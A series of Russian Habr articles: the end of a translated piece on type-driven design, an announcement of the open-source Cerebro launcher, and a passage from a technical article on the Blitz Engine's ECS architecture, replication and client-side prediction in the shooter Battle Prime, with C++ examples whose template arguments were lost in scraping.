В заключение я хотела бы заметить, что рефакторинг в стиле, который описан в статье, не всегда прост. Примеры, которые я использовала — просты, но реальная жизнь зачастую куда менее прямолинейна. Даже люди, имеющие большой опыт в TypeDD, могут испытывать затруднения в выражении некоторых инвариантов в системе типов, так что не падайте духом, если у вас не получается решить проблему так, как вам хочется. Считайте эти принципы идеалом, к которому надо стремиться, а не строгому обязательному требованию. Всё, что требуется — хотя бы попытаться.
---
От переводчика
--------------
Некоторые примеры компилируются растом, но не проходят проверки боррочекера — это нормально, и сделано умышленно для упрощения и получения более наглядных примеров. | https://habr.com/ru/post/498042/ | null | ru | null |
# Cerebro – бесплатная альтернатива Alfred и Spotlight
 Хочу показать вам свой open-source проект [Cerebro](https://cerebroapp.com) — это бесплатная альтернатива [Alfred](https://www.alfredapp.com/) и Spotligth, работать над которым я начал несколько месяцев назад и лишь недавно добился стабильности и кроссплатформенности, с которой готов показать продукт широкой аудитории.
(под катом будет много скриншотов)
Зачем?
------
Я ставил для себя несколько целей:
* Сделать бесплатный open-source аналог Alfred и Spotlight;
* Он должен быть кросс-платформенным;
* В отличии от многих open-source проектов сделать акцент на хороший UI/UX и простоту в использовании;
* Исправить то, что не нравится в Alfred: бóльшая свобода для плагинов (например, отображение не только текста, но и любых других элементов интерфейса);
* Исправить то, что не нравится в Spotlight: кастомизация, плагины, скорость;
* «Мощный эй-пи-ай», чтобы любой разработчик на JS мог за 10 минут сделать простое расширение, а пользователи могли найти эти плагины в одном месте.
Что получилось
--------------
В итоге используя javascript и [electron](http://electron.atom.io/) я создал приложение, которым пользуюсь постоянно. Из коробки оно умеет:
* Искать в гугле;
* Искать и запускать приложения (пока только на MacOS);
* Считать и конвертировать величины
* Навигироваться по файловой системе и показывать файлы
* Переводить с одного языка на другой
* Искать на гугл-картах
Плагины
-------
Плагин — это простой npm-модуль, написанный на javascript. В принципе, вы можете написать плагин на любом другом языке, просто обернув в js вызов вашего скрипта. Документация по созданию плагинов доступна на [гитхабе](https://github.com/KELiON/cerebro/blob/master/docs/plugins.md).
На момент написания статьи доступно 10 плагинов, которые можно искать и устанавливать прямо из приложения:
* Поиск по базе [caniuse.com](http://caniuse.com)
* Поиск фильмов на IMDB
* Поиск gif на giphy.com
* Поиск подходящих emoji
* Поиск по контактам в OSx
* Выполнение shell-comand
* Системные команды для OSx (screen saver, empty trash, restart)
* Поиск во встроенном в OSx словаре
* Отображение внешнего и внутрннего IP адреса
* `Kill` — чтобы убить любой процесс в системе
Отзывы
------
Я надеюсь, что вы найдёте что-то полезное и для себя. В комментариях хотелось бы услышать отзывы, предложения, критику. И буду рад пулл-реквестам и новым плагинам от разработачиков!
→ [Сайт](https://cerebroapp.com)
→ [Репозиторий](https://github.com/KELiON/cerebro) | https://habr.com/ru/post/320434/ | null | ru | null |
# Blitz Engine & Battle Prime: ECS и сетевой код
**Battle Prime** — первый проект нашей студии. Несмотря на то, что многие члены команды имеют приличный опыт в разработке игр, мы, естественно, сталкивались с разными сложностями во время работы над ним. Они возникали как в процессе работы над движком, так и в процессе разработки самой игры.
В геймдев индустрии огромное количество разработчиков, которые охотно делятся своими историями, наработками, архитектурными решениями — в том или ином виде. Этот опыт, выложенный в публичное пространство в виде статей, презентаций и докладов, является отличным источником идей и вдохновения. Например, доклады команды разработки из Overwatch были для нас очень полезны при работе над движком. Как и сама игра, они очень талантливо сделаны, и я советую посмотреть их всем интересующимся. Доступны в GDC vault и на [YouTube](https://www.youtube.com/channel/UC0JB7TSe49lg56u6qH8y_MQ).
Это одна из причин, по которой мы также хотим вносить вклад в общее дело — и эта статья одна из первых, посвященная техническим деталям разработки движка Blitz Engine и игры на нем — Battle Prime.
Статья будет поделена на две части:
* ECS: имплементация Entity-Component-System паттерна внутри Blitz Engine. Этот раздел важен для понимания примеров кода в статье, и сам по себе является отдельной интересной темой.
* Неткод и геймплей: все, что касается высокоуровневой сетевой части и ее использования внутри игры — клиент-серверная архитектура, клиентские предсказания, репликация. Одной из важнейших вещей в шутере является стрельба, так что ей будет уделено большее количество времени.
*Под катом много мегабайт гифок!*
Внутри каждого раздела, помимо рассказа о функциональности и его использовании, я постараюсь описать и недостатки, которые он в себе несет — будь это его ограничения, неудобства в работе, или просто мысли по поводу его улучшений в будущем.
Я также постараюсь давать примеры кода и некоторую статистику. Во-первых, это просто интересно, а, во-вторых, дает немного контекста по поводу масштаба использования той или иной функциональности и проекта.
ECS
===
Внутри движка мы используем термин “мир” для описания сцены, содержащей иерархию объектов.
Миры работают по шаблону Entity-Component-System ([описание на википедии](https://en.wikipedia.org/wiki/Entity_component_system)):
* Entity — объект внутри сцены. Является хранилищем для набора компонентов. Объекты могут быть вложенными, формируя иерархию внутри мира;
* Component — представляет из себя данные, необходимые для работы какой-либо механики, и определяющий поведение объекта. Например, `TransformComponent` содержит в себе трансформацию объекта, а `DynamicBodyComponent` — данные для физической симуляции. Некоторые компоненты могут не иметь в себе дополнительных данных, простое их присутствие в объекте описывает состояние этого объекта. Например, в Battle Prime используются `AliveComponent` и `DeadComponent`, которыми помечены живые и мёртвые персонажи соответственно;
* System — периодически вызываемый набор функций, которые поддерживают решение поставленной им задачи. При каждом вызове система обрабатывает объекты, удовлетворяющие какому-то условию (как правило, имеющие определенный набор компонентов) и, по необходимости, модифицирует их. Вся игровая логика и большая часть движка реализованы на уровне систем. Например, внутри движка есть `LodSystem`, которая занимается вычислением LOD (level of detail) индексов для объекта на основании его трансформации в мире и других данных. Этот индекс, содержащейся в `LodComponent`е затем используется другими системами для своих задач.
Подобный подход позволяет легко комбинировать различные механики в рамках одного объекта. Как только сущность получает достаточно данных для работы какой-то механики, системы, отвечающие за эту механику, начинают обрабатывать этот объект.
На практике добавление нового функционала сводится к новому компоненту (или набору компонентов) и новой системе (или набору систем), которые этот функционал реализуют. В подавляющем большинстве случаев, работать по этому паттерну удобно.
Рефлексия
---------
Перед тем как переходить к описанию компонентов и систем, я остановлюсь немного на механизме рефлексии, так как она часто будет использоваться в примерах кода.
Рефлексия позволяет получать и использовать информацию о типах во время работы приложения. В частности, доступны следующие возможности:
* Получить список типов по определенному критерию (например, наследников какого-то класса или имеющих специальный тег),
* Получить список полей класса,
* Получить список методов внутри класса,
* Получить список значений enum’ов,
* Вызвать какой-то метод или изменить значение поля,
* Получить метаданные поля или метода, которые могут использоваться для какого-то конкретного функционала.
Многие модули внутри движка используют рефлексию для своих целей. Некоторые примеры:
* Интеграции скриптовых языков используют рефлексию для работы с типами, объявленными в C++ коде;
* Редактор использует рефлексию для получения списка компонентов, которые могут добавляться в объект, а также для отображения и редактирования их полей;
* Сетевой модуль использует метаданные полей внутри компонентов для ряда функций: в них указаны параметры репликации полей с сервера на клиенты, квантизации данных при репликации и так далее;
* Различные конфиги десериализуются в объекты соответствующих типов с помощью рефлексии.
Мы используем собственную реализацию, интерфейс которой не сильно отличается от других существующих решений (например, [github.com/rttrorg/rttr](https://github.com/rttrorg/rttr)). На примере `CapturePointComponent`а (который описывает точку захвата для игрового режима), добавление рефлексии в тип выглядит следующим образом:
```
// Описание в заголовочном файле
class CapturePointComponent final : public Component
{
// Индикация наличия рефлексии для данного типа и указание его базового класса
BZ_VIRTUAL_REFLECTION(Component);
public:
float points_to_own = 10.0f;
String visible_name;
// … другие поля
};
// Имплементация в .cpp файле
BZ_VIRTUAL_REFLECTION_IMPL(CapturePointComponent)
{
// Начало описания класса и его метаданные
ReflectionRegistrar::begin_class()
[M(), M(), M("Capture point")]
// Описание поля и его метаданные
.field("points\_to\_own", &CapturePointComponent::points\_to\_own)
[M(), M("Points to own")]
.field("visible\_name", &CapturePointComponent::visible\_name)
[M(), M("Name")]
// … остальные поля и методы
}
```
Отдельное внимание хочется уделить метаданным типов, полей и методов, которые объявляются с помощью выражения
```
M()
```
где `T` — это тип метаданных (внутри команды мы просто используем термин “мета”, в дальнейшем буду использовать его). Они используются разными модулями для своих целей. Например, редактор использует `DisplayName` для отображения имен типов и полей внутри редактора, а сетевой модуль получает список всех компонентов, и среди них ищет поля помеченные как `Replicable` — они будут отправляться с сервера на клиенты.
Описание компонентов и их добавление в объект
---------------------------------------------
Каждый компонент является наследником базового класса `Component` и может описать с помощью рефлексии поля, которые он использует (если это необходимо).
Вот как объявлен и описан `AvatarHitComponent` внутри игры:
```
/** Component that indicates avatar hit event. */
class AvatarHitComponent final : public Component
{
BZ_VIRTUAL_REFLECTION(Component);
public:
PlayerId source_id = NetConstants::INVALID_PLAYER_ID;
PlayerId target_id = NetConstants::INVALID_PLAYER_ID;
HitboxType hitbox_type = HitboxType::UNKNOWN;
};
BZ_VIRTUAL_REFLECTION_IMPL(AvatarHitComponent)
{
ReflectionRegistrar::begin_class()
.ctor\_by\_pointer()
.copy\_ctor\_by\_pointer()
.field("source\_id", &AvatarHitComponent::source\_id)[M()]
.field("target\_id", &AvatarHitComponent::target\_id)[M()]
.field("hitbox\_type", &AvatarHitComponent::hitbox\_type)[M()];
}
```
Данный компонент помечает объект, который создается в результате попадания игрока по другому игроку. Он содержит в себе информацию об этом событии, такую как идентификаторы атакующего игрока и его цели, а также тип хитбокса, по которому произошло попадание.
Упрощенно, этот объект создается внутри серверной системы подобным образом:
```
Entity hit_entity = world->create_entity();
auto* const avatar_hit_component = hit_entity.add();
avatar\_hit\_component->source\_id = source\_player\_id;
avatar\_hit\_component->target\_id = target\_player\_id;
avatar\_hit\_component->hitbox\_type = hitbox\_type;
// Ниже добавляются остальные необходимые компоненты
// Например включающие репликацию на клиенты
// ...
```
Объект с `AvatarHitComponent` затем используется разными системами: для воспроизведения звуков попадания по игрокам, сбора статистики, слежения за достижениями игрока и так далее.
Описание систем и их работа
---------------------------
Система — объект с типом, отнаследованным от `System`, который содержит в себе методы, реализующие выполнение той или иной задачи. Как правило, одного метода достаточно. Несколько методов необходимо, если они должны выполняться в разные моменты времени в рамках одного кадра.
Аналогично компонентам, описывающим свои поля, каждая система описывает методы, которые должны выполняться миром.
Например, `ExplosiveSystem`, отвечающая за взрывы, объявлена и описана следующим образом:
```
// System responsible for handling explosive components:
// - tracking when they need to be exploded: by timer, trigger zone etc.
// - destroying them on explosion and creating separate explosion entity
class ExplosiveSystem final : public System
{
BZ_VIRTUAL_REFLECTION(System);
public:
ExplosiveSystem(World* world);
private:
void update(float dt);
// Приватные данные и методы, необходимые для работы системы
// ...
};
BZ_VIRTUAL_REFLECTION_IMPL(ExplosiveSystem)
{
ReflectionRegistrar::begin_class()[M("battle")]
.ctor\_by\_pointer()
.method("ExplosiveSystem::update", &ExplosiveSystem::update)[M(
TaskGroups::GAMEPLAY\_END,
ReadAccess::set<
TimeSingleComponent,
WeaponDescriptorComponent,
BallisticComponent,
ProjectileComponent,
GrenadeComponent>(),
WriteAccess::set(),
InitAccess::set(),
UpdateType::FIXED,
Vector{ TaskOrder::before(FastName{ "ballistic\_update" }) })];
}
```
Внутри описания системы указываются следующие данные:
* Тег, к которому относится система. Каждый мир содержит набор тэгов, и по ним находятся системы, которые должны в этом мире работать. В данном случае, тег `battle` означает мир, в котором происходит бой между игроками. Другими примерами тэгов являются `server` и `client` (система выполняется только на сервере или клиенте соответственно) и `render` (система выполняется только в режиме с GUI);
* Группа, внутри которой выполняется эта система и список компонентов, которые использует эта система — на запись, чтение и создание;
* Update type — должна ли эта система работать в normal update’е, fixed update’е или других;
* Явные разрешения зависимости между системами.
Подробнее про группы систем, зависимости и update type'ы будет рассказано ниже.
Объявленные методы вызываются миром в нужный момент времени для поддержания функционала этой системы. Содержимое метода зависит от системы, но, как правило это проход по всем объектам, соответствующим критерию данной системы, и их последующее обновление. Например, обновление `ExplosiveSystem` внутри игры выглядит следующим образом:
```
void ExplosiveSystem::update(float dt)
{
const auto* time_single_component = world->get();
// Init new explosives
for (Component\* component : new\_explosives\_group->components)
{
auto\* explosive\_component = static\_cast(component);
init\_explosive(explosive\_component, time\_single\_component);
}
new\_explosives\_group->components.clear();
// Update all explosives
for (ExplosiveComponent\* explosive\_component : explosives\_group)
{
update\_explosive(explosive\_component, time\_single\_component, dt);
}
}
```
Группы в примере выше (`new\_explosives\_group` и `explosives\_group`) — вспомогательные контейнеры, которые упрощают реализации систем. `new\_explosives\_group` — контейнер с новыми объектами, которые необходимы этой системе и которые еще ни разу не были обработаны, а `explosives\_group` — контейнер со всеми объектами которые необходимо обрабатывать каждый кадр. За заполнение этих контейнеров отвечает непосредственно мир. Их получение системой происходит в ее конструкторе:
```
ExplosiveSystem::ExplosiveSystem(World* world)
: System(world)
{
// `explosives_group` будет содержать в себе все объекты с `ExplosiveComponent`
explosives_group = world->acquire_component_group();
// `new\_explosives\_group` будет добавлять в себя все новые объекты
// с `ExplosiveComponent` - за чистку этого контейнера отвечает система
new\_explosives\_group = explosive\_group->acquire\_component\_group\_on\_add();
}
```
Обновление мира
---------------
Мир, объект типа `World`, каждый кадр вызывает необходимые методы у ряда систем. Какие системы будут вызваны зависит от их типа.
Часть систем обязательно обновляются каждый кадр (внутри движка используется термин “normal update”) — к такому типу относятся все системы, влияющие на отрисовку кадра и звуки: скелетные анимации, частицы, UI и так далее. Другая часть выполняется с фиксированной, заранее заданной, частотой (мы используем термин “fixed update”, а для количества fixed update’ов в секунду — FFPS) — в них обрабатывается большая часть геймплейной логики и все, что должно быть синхронизировано между клиентом и сервером — например, часть инпута от игрока, движение персонажа, стрельба, часть физической симуляции.
Частота выполнения fixed update’а должна быть сбалансирована — слишком маленькое значение приводит к неотзывчивому геймплею (например, инпут игрока обрабатывается реже, а значит с большей задержкой), а слишком высокое — к большим требованиям к производительности от устройства, на котором работает приложение. Это также означает, что чем больше частота, тем больше затраты на серверные мощности (меньшее количество боев может работать одновременно на одной машине).
В гифке ниже, мир работает с частотой 5 fixed update’ов в секунду. Можно заметить задержку между нажатием на кнопку W и стартом движения, а также задержку между отпусканием кнопки и остановкой движения персонажем:
В следующей гифке, мир работает с частотой 30 fixed update’ов в секунду, что дает значительно более отзывчивое управление:
На данный момент в Battle Prime fixed update мира выполняется 31 раз в секунду. Такое “некрасивое” значение выбрано специально — на нем могут проявляться баги, которых не было бы в других ситуациях, когда количество обновлений в секунду является, например, круглым числом или кратным частоте обновления экрана.
Порядок выполнения систем
-------------------------
Одним из моментов, осложняющим работу с ECS, является задание порядка выполнения систем. Для контекста, на момент написания статьи, в клиенте Battle Prime во время боя между игроками работает 251 система и их число только растет.
Система, которая по ошибке выполняется в неправильный момент времени может приводить к трудноуловимым багам или же к задержке в работе какой-то механики на один кадр (например, если система нанесения урона работает в начале кадра, а система полета снаряда в конце, то урон наносится с задержкой в один кадр).
Порядок выполнения систем можно задавать разными способами, например:
* Явное указание порядка;
* Указание численного “приоритета” системы и последующая сортировка по приоритету;
* Автоматическое построение графа зависимостей между системами и установка их в нужные места в порядке выполнения.
На данный момент у нас используется третий вариант. Каждая система указывает, какие компоненты она использует на чтение, какие на запись, и какие компоненты она создает. Затем, системы автоматически выстраиваются между собой в нужном порядке:
* Система, читающая компонент A, идет после системы, пишущей в компонент A;
* Система, пишущая в или читающая компонент B, идет после системы, создающей компонент B;
* Если обе системы пишут в компонент С, порядок может быть любым (но может быть указан вручную при необходимости).
В теории, такое решение сводит к минимуму управление порядком выполнения, достаточно лишь задать маски компонентов для системы. На практике, с ростом проекта это приводит к большему и большему числу циклов между системами. Если система-1 пишет в компонент A, и читает компонент B, а система-2 читает компонент А и пишет в компонент B — это цикл, и он должен быть разрешен вручную. Часто, в цикле больше двух систем. Их разрешение требует времени и явных указаний зависимости между ними.
Поэтому в Blitz Engine есть “группы” систем. Внутри группы системы автоматически выстраиваются в нужном порядке (а циклы все так же разрешаются вручную), а порядок групп задан явно. Это решение — что-то среднее между полностью ручным порядком и полностью автоматизированным, и на его эффективность серьезно влияют размеры групп. Как только группа становится слишком большой, программисты снова начинают часто сталкиваться с проблемам циклов внутри них.
На данный момент в Battle Prime 10 групп. Этого все еще недостаточно, и мы планируем увеличить их количество, выстраивая строгую логическую последовательность между ними, и используя автоматическое построение графа внутри каждой из них.
Указание того, какие компоненты используются системами на запись или чтение также позволит в будущем автоматически группировать системы в “блоки”, которые будут выполняться параллельно друг с другом.
Ниже показана вспомогательная утилита, которая отображает список систем и зависимости между ними внутри каждой из групп (полные графы внутри групп выглядят устрашающе). Оранжевым цветом показаны явно заданные зависимости между системами:
Общение между системами и их конфигурация
-----------------------------------------
Задачи, которые выполняют внутри себя системы, могут в той или иной степени зависеть от результатов выполнения других систем. Например, система обрабатывающая столкновения двух объектов зависит от симуляции физики, которая эти столкновения регистрирует. А система нанесения урона зависит от результатов работы баллистической системы, которая отвечает за движение снарядов.
Самый простой и очевидный способ общения между системами — использование компонентов. Одна система складывает результаты своей работы в компонент, а вторая система читает эти результаты из компонента и на их основе решает свою задачу.
Подход, основанный на компонентах, может быть неудобен в некоторых случаях:
* Что, если результат работы системы не привязан напрямую к какому-то объекту? Например, система собирающая статистику боя (количество выстрелов, попаданий, смертей и так далее) — собирает ее глобально, на основе всего боя;
* Что, если работу системы нужно каким-то образом сконфигурировать? Например, системе физической симуляции необходимо знать, какие типы объектов должны регистрировать коллизии между собой, а какие нет.
Для решения этих проблем, мы используем подход, который позаимствовали у команды разработки Overwatch — Single Component’ы.
Single component — это компонент, который существует в мире в единственном экземпляре и получается напрямую из мира. Системы могут использовать его для складывания результатов своей работы, которые затем используются другими системами, либо для настройки их работы.
На данный момент в проекте (модули движка + игра) порядка 120 Single Component’ов, которые используются для разных целей — от хранения глобальных данных мира до конфигурации работы отдельных систем.
“Чистота” подхода
-----------------
В самом “чистом” виде подобный подход к системам и компонентам предполагает наличие данных только внутри компонентов и наличие логики только внутри систем. По моему мнению, на практике это ограничение редко имеет смысл строго соблюдать (хотя дебаты по этому поводу все еще периодически поднимаются).
Можно выделить следующие доводы в пользу менее “строгого” подхода:
* Часть кода должна быть общей — и выполняться синхронно из разных систем или при установке каких-то свойств компонентов. Подобная логика описывается отдельно. В рамках движка мы используем термин Utils. Например, внутри игры `DamageUtils` содержит в себе логику, связанную с применением урона — который может наноситься из разных систем;
* Нет смысла держать приватные данные системы в каком-то месте, кроме самой этой системы — они никому кроме нее не понадобятся, и их вынос в другое место не несет особой пользы. Из этого правила есть исключение, которое связано с функционалом клиентских предсказаний — о нем будет написано в разделе ниже;
* Компонентам полезно иметь небольшое количество логики — в большинстве своем это умные геттеры и сеттеры, которые упрощают работу с компонентом.
Неткод
======
Battle Prime использует архитектуру с авторитарным сервером и клиентскими предсказаниями. Это позволяет игроку получать мгновенный фидбек от своих действий даже на высоких пингах и потерях пакетов, а проекту в целом — минимизировать читерство со стороны игроков, т.к. сервер диктует все результаты симуляции внутри боя.
Весь код внутри проекта игры поделен на три части:
* Клиентский — системы и компоненты, которые работают только на клиенте. К ним относятся такие вещи как UI, автострельба и интерполяция;
* Серверный — системы и компоненты, которые работают только на сервере. Например, все, что связано с нанесением урона и спавном персонажей;
* Общий — это все, что работает и на сервере, и на клиенте. В частности, все системы, вычисляющие передвижение персонажа, состояние оружия (количество патронов, кулдауны) и все остальное, что требуется предсказывать на клиенте. Большая часть систем, отвечающих за визуальные эффекты также являются общими — сервер может быть опционально запущен в GUI режиме (по большей части только для отладки).
Пользовательский ввод (инпут)
-----------------------------
Перед тем как переходить к деталям репликации и предсказаний на клиенте, следует остановиться на работе с инпутом внутри движка — детали этого будут важны в разделах ниже.
Весь ввод от игрока делится на два типа: низкоуровневый и высокоуровневый:
* Низкоуровневый инпут — это события от устройств ввода, такие как нажатие клавиш, прикосновение к экрану и так далее. Подобный инпут редко обрабатывается геймплейными системами;
* Высокоуровневый инпут — представляет из себя действия пользователя, совершенные им в контексте игры: выстрел, смена оружия, движение персонажа и так далее. Для подобных высокоуровневых действий мы используем термин `Action`. Также, с действием могут быть ассоциированы дополнительные данные — такие как направление движения или индекс выбранного оружия. Подавляющее большинство систем работают именно с Action’ами.
Высокоуровневый инпут генерируется либо на основе биндингов из низкоуровневого, либо программно. Например, действие стрельбы может быть завязано на нажатие кнопки мыши, либо же сгенерировано системой, отвечающей за автострельбу — как только игрок навел прицел на врага, эта система генерирует action выстрела, если у пользователя включена соответствующая настройка. Действия также могут быть отправлены UI-системой: к примеру, по нажатию на соответствующую кнопку или при движении экранного джойстика. Системе, которая производит саму стрельбу, неважно как этот action был создан.
Логически связанные друг с другом действия объединены в группы (объекты типа `ActionSet`). Группы могут отключаться если в текущем контексте они не нужны — например, в Battle Prime есть несколько групп, среди которых:
* Действия для управления передвижением персонажа,
* Действия для стрельбы из автоматического оружия,
* Действия для стрельбы из полуавтоматического оружия.
Из последних двух групп в один момент времени активна только одна, в зависимости от типа выбранного оружия — они отличаются тем, каким образом генерируется действие FIRE: пока нажата кнопка (для автоматического оружия) или же только один раз при нажатии на кнопку (для полуавтоматического оружия).
Подобным образом создаются и настраиваются группы действий внутри игры внутри одной из систем:
```
static const Map action\_sets = {
{
// Действия для передвижения персонажа
ControlModes::CHARACTER\_MOVEMENT,
ActionSet
{
{
DigitalBinding{ ActionNames::JUMP, { { InputCode::KB\_SPACE, DigitalState::just\_pressed() } }, nullopt },
DigitalBinding{ ActionNames::MOVE, { { InputCode::KB\_W, DigitalState::pressed() } }, ActionValue{ AnalogState{0.0f, 1.0f, 0.0f} } },
// Прочие действия для передвижения...
},
{
AnalogBinding{ ActionNames::LOOK, InputCode::MOUSE\_RELATIVE\_POSITION, AnalogStateType::ABSOLUTE, AnalogStateBasis::LOGICAL, {} }
// Прочие действия для передвижения...
}
}
},
{
// Действия для стрельбы из автоматического оружия
ControlModes::AUTOMATIC\_FIRE,
ActionSet
{
{
// FIRE будет генерироваться все время, пока нажата левая кнопка мыши
DigitalBinding{ ActionNames::FIRE, { { InputCode::MOUSE\_LBUTTON, DigitalState::pressed() } }, nullopt },
// Прочие действия для стрельбы в автоматическом режиме...
}
}
},
{
// Действия для стрельбы из полуавтоматического оружия
ControlModes::SEMI\_AUTOMATIC\_FIRE,
ActionSet
{
{
// FIRE будет генерироваться на каждое отдельное нажатие левой кнопки мыши
DigitalBinding{ ActionNames::FIRE, { { InputCode::MOUSE\_LBUTTON, DigitalState::just\_pressed() } }, nullopt },
// Прочие действия для стрельбы в полуавтоматическом режиме...
}
}
}
// Другие режимы управления...
};
```
В Battle Prime описано около 40 action’ов. Часть их них используется только для отладки или записи роликов.
Репликация
----------
Репликация — процесс передачи данных с сервера на клиенты. Все данные передаются через объекты в мире:
* Их создание и удаление,
* Создание и удаление компонентов на объектах,
* Изменение свойств компонентов.
Репликация настраивается при помощи соответствующего компонента. Например, подобным образом в игре настраивается репликация оружия игрока:
```
auto* replication_component = weapon_entity.add();
replication\_component->enable\_replication(Privacy::PUBLIC);
replication\_component->enable\_replication(Privacy::PUBLIC);
replication\_component->enable\_replication(Privacy::PRIVATE);
replication\_component->enable\_replication(Privacy::PRIVATE);
// ... и прочие компоненты
```
Для каждого компонента указывается приватность, которая используется при репликации. Приватные компоненты будут отправлены с сервера только игроку, владеющему данным оружием. Публичные компоненты будут отправляться всем. В данном примере, публичными являются `WeaponDescriptorComponent` и `WeaponBaseStatsComponent` — они содержат данные, необходимые для корректного отображения других игроков. Например, индекс слота, в котором лежит оружие и его тип нужны для анимаций. Остальные компоненты отправляются приватно игроку, который владеет этим оружием — параметры баллистики снарядов, информацию об общем кол-ве патронов, доступных режимах стрельбы и так далее. Есть и более специализированные режимы приватности: например, можно отправлять компонент только союзникам или только врагам.
Каждый компонент внутри своего описания обязан указать, какие именно поля должны реплицироваться в рамках этого компонента. Например, все поля внутри `WeaponComponent`а помечены как `Replicable`:
```
BZ_VIRTUAL_REFLECTION_IMPL(WeaponComponent)
{
ReflectionRegistrar::begin_class()
.ctor\_by\_pointer()
.copy\_ctor\_by\_pointer()
.field("owner", &WeaponComponent::owner)[M()]
.field("fire\_mode", &WeaponComponent::fire\_mode)[M()]
.field("loaded\_ammo", &WeaponComponent::loaded\_ammo)[M()]
.field("ammo", &WeaponComponent::ammo)[M()]
.field("shooting\_cooldown\_end\_ms", &WeaponComponent::shooting\_cooldown\_end\_ms)[M()];
}
```
Этот механизм очень удобен в использовании. Например, внутри серверной системы, которая отвечает за “выброс” жетонов из убитых противников (в специальном игровом режиме) достаточно на подобный жетон добавить и настроить `ReplicationComponent`. Это выглядит подобным образом:
```
for (const Component* component : added_dead_avatars->components)
{
Entity kill_token_entity = world->create_entity();
// Настройка компонентов для физической симуляции и начального положения в мире
// ...
// Настройка репликации
auto* replication_component = kill_token_entity.add();
replication\_component->enable\_replication(Privacy::PUBLIC);
replication\_component->enable\_replication(Privacy::PUBLIC);
}
```
В данном примере физическая симуляция жетона при выпадении будет происходить на сервере, а итоговая трансформация жетона отправляться и применяться на клиенте. На клиенте также будет работать система интерполяции которая будет сглаживать движение этого жетона, учитывая частоту апдейтов, качество соединения с сервером и так далее. Остальные системы, связанные с этим режимом игры, будут добавлять визуальную часть на объекты с `KillTokenComponent` и следить за их подбором.
Единственное неудобство текущего подхода, на которое хочется обратить внимание и от которого хочется избавиться в будущем — невозможность задавать приватность для каждого поля компонента. Это не сильно критично, так как подобная проблема легко решается разбиением компонента на несколько: например, в игре присутствуют `ShooterPublicComponent` и `ShooterPrivateComponent` с соответствующими приватностями. Несмотря на то, что они привязаны к одной механике (стрельбе), требуется иметь два компонента для экономии трафика — часть полей просто не нужны на клиентах, не владеющих этими компонентами. Тем не менее, это добавляет работы программисту.
В общем случае, реплицируемые на клиент объекты могут иметь состояния за разные кадры. Поэтому была добавлена возможность группировать объекты, формируя репликационные группы. Все компоненты на объектах внутри одной группы всегда имеют состояние за один и тот же кадр на клиенте — это необходимо для корректной работы предсказаний (о них ниже). Например, оружие и персонаж, им владеющий, находятся в одной группе. Если объекты находятся в разных группах, то их состояния в мире могут быть за разные кадры.
Система репликации старается минимизировать объем трафика, в частности за счет сжатия пересылаемых данных (каждое поле внутри компонента может быть опционально помечено соответствующим образом для сжатия) и за счет передачи только разницы в значениях между двумя кадрами.
Клиентские предсказания
-----------------------
Клиентские предсказания (на английском используется термин client-side prediction) позволяют игроку получать мгновенный фидбек на большую часть его действий в игре. При этом, так как последнее слово всегда за сервером, при ошибке в симуляции (на английском используется термин mispredict, я в дальнейшем буду их называть просто “миспредиктами”) клиент должен ее исправить. Подробнее про ошибки предсказания и как они корректируются будет рассказано ниже.
Клиентские предсказания работают по следующим правилам:
* Клиент симулирует себя вперед на N кадров;
* Весь инпут, сгенерированный клиентом, отправляется на сервер (в виде совершенных игроком action’ов);
* N зависит от качества соединения с сервером. Чем меньше это значение, тем более “актуальную” картину мира видит клиент (т.е. разрыв во времени между локальным игроком и остальными игроками меньше).
В результате и сервер, и клиент производят симуляцию на основе клиентского инпута. Затем сервер отправляет на клиент результаты этой симуляции. Если клиент определяет, что его результаты не совпадают с серверными, то он пытается скорректировать ошибку — откатывает себя на последнее известное серверное состояние, и снова симулирует на N кадров вперед. Дальше все продолжается по аналогичной схеме — клиент продолжает себя симулировать в будущем относительно сервера, а сервер отправляет ему результаты своей симуляции. Из этого следует, что весь код, который влияет на предсказания клиента, должен быть общим между клиентом и сервером.
Также, в целях экономии трафика, весь инпут предварительно сжимается на основе заранее установленной схемы. Затем он отправляется на сервер и сразу же обратно распаковывается на клиенте. Упаковка и последующая распаковка на клиенте необходимы, чтобы исключить разницу в значениях, ассоциированных с инпутом, между клиентом и сервером. При создании схемы указывается диапазон значений для данного action’а, и количество бит, в которые он должен быть упакован. Подобным образом выглядит объявление схемы паковки в Battle Prime внутри общей между клиентом и сервером системы:
```
auto* input_packing_sc = world->get_for_write();
input\_packing\_sc->packing\_schema = {
{ ActionNames::MOVE, AnalogStatePrecision{ 8, { -1.f, 1.f }, false } },
{ ActionNames::LOOK, AnalogStatePrecision{ 16, { -PI, PI }, false } },
{ ActionNames::JUMP, nullopt },
// .. еще много различных action'ов
};
```
Критическим условием эффективности работы клиентских предсказаний является необходимость инпута успевать попадать на сервер к моменту симуляции кадра, к которому этот инпут относится. В случае, если инпут не успел прийти на сервер к нужному кадру (такое может случиться при, например, резком скачке пинга), сервер попробует использовать инпут этого клиента с прошлого кадра. Это резервный механизм, который может помочь избавиться от миспредиктов на клиенте в некоторых ситуациях. Например, если клиент просто бежит в одном направлении и его инпут не меняется в течении относительно долгого времени, использование инпута за прошлый кадр пройдет успешно — сервер “угадает” его, и расхождения между клиентом и сервером не произойдет. Подобная схема используется в Overwatch (была упомянута в лекции на GDC: [www.youtube.com/watch?v=W3aieHjyNvw](https://www.youtube.com/watch?v=W3aieHjyNvw)).
На данный момент клиент Battle Prime предсказывает состояния следующих объектов:
* Аватар игрока (положение в мире и все что на него может влиять, состояние скиллов и т.д.);
* Все оружие игрока (количество патронов в магазине, кулдауны между выстрелами и т.д.).
Использование клиентских предсказаний сводится к добавлению и настройке `PredictionComponent`а на клиенте нужным объектам. Например, подобным образом включается предсказание аватара игрока в одной из систем:
```
// `new_local_avatars` содержит в себе объект аватара текущего игрока,
// который был реплицирован с сервера
for (Entity avatar : new_local_avatars)
{
auto* avatar_prediction_component = avatar.add();
avatar\_prediction\_component->enable\_prediction();
avatar\_prediction\_component->enable\_prediction();
avatar\_prediction\_component->enable\_prediction();
avatar\_prediction\_component->enable\_prediction();
// ... и еще много других компонентов
}
```
Данный код означает, что поля внутри указанных выше компонентов будут постоянно сравниваться с аналогичными полями серверных компонентов — в случае, если будет замечено расхождение в значениях в рамках одного кадра, произойдет корректировка на клиенте.
Критерий расхождения зависит от типа данных. В большинстве случаев это просто вызов `operator==`, исключение составляют основанные на float данные — для них максимально допустимая ошибка на данный момент фиксирована и равна 0.005. В будущем, есть желание добавить возможность задавать точность для каждого поля компонента отдельно.
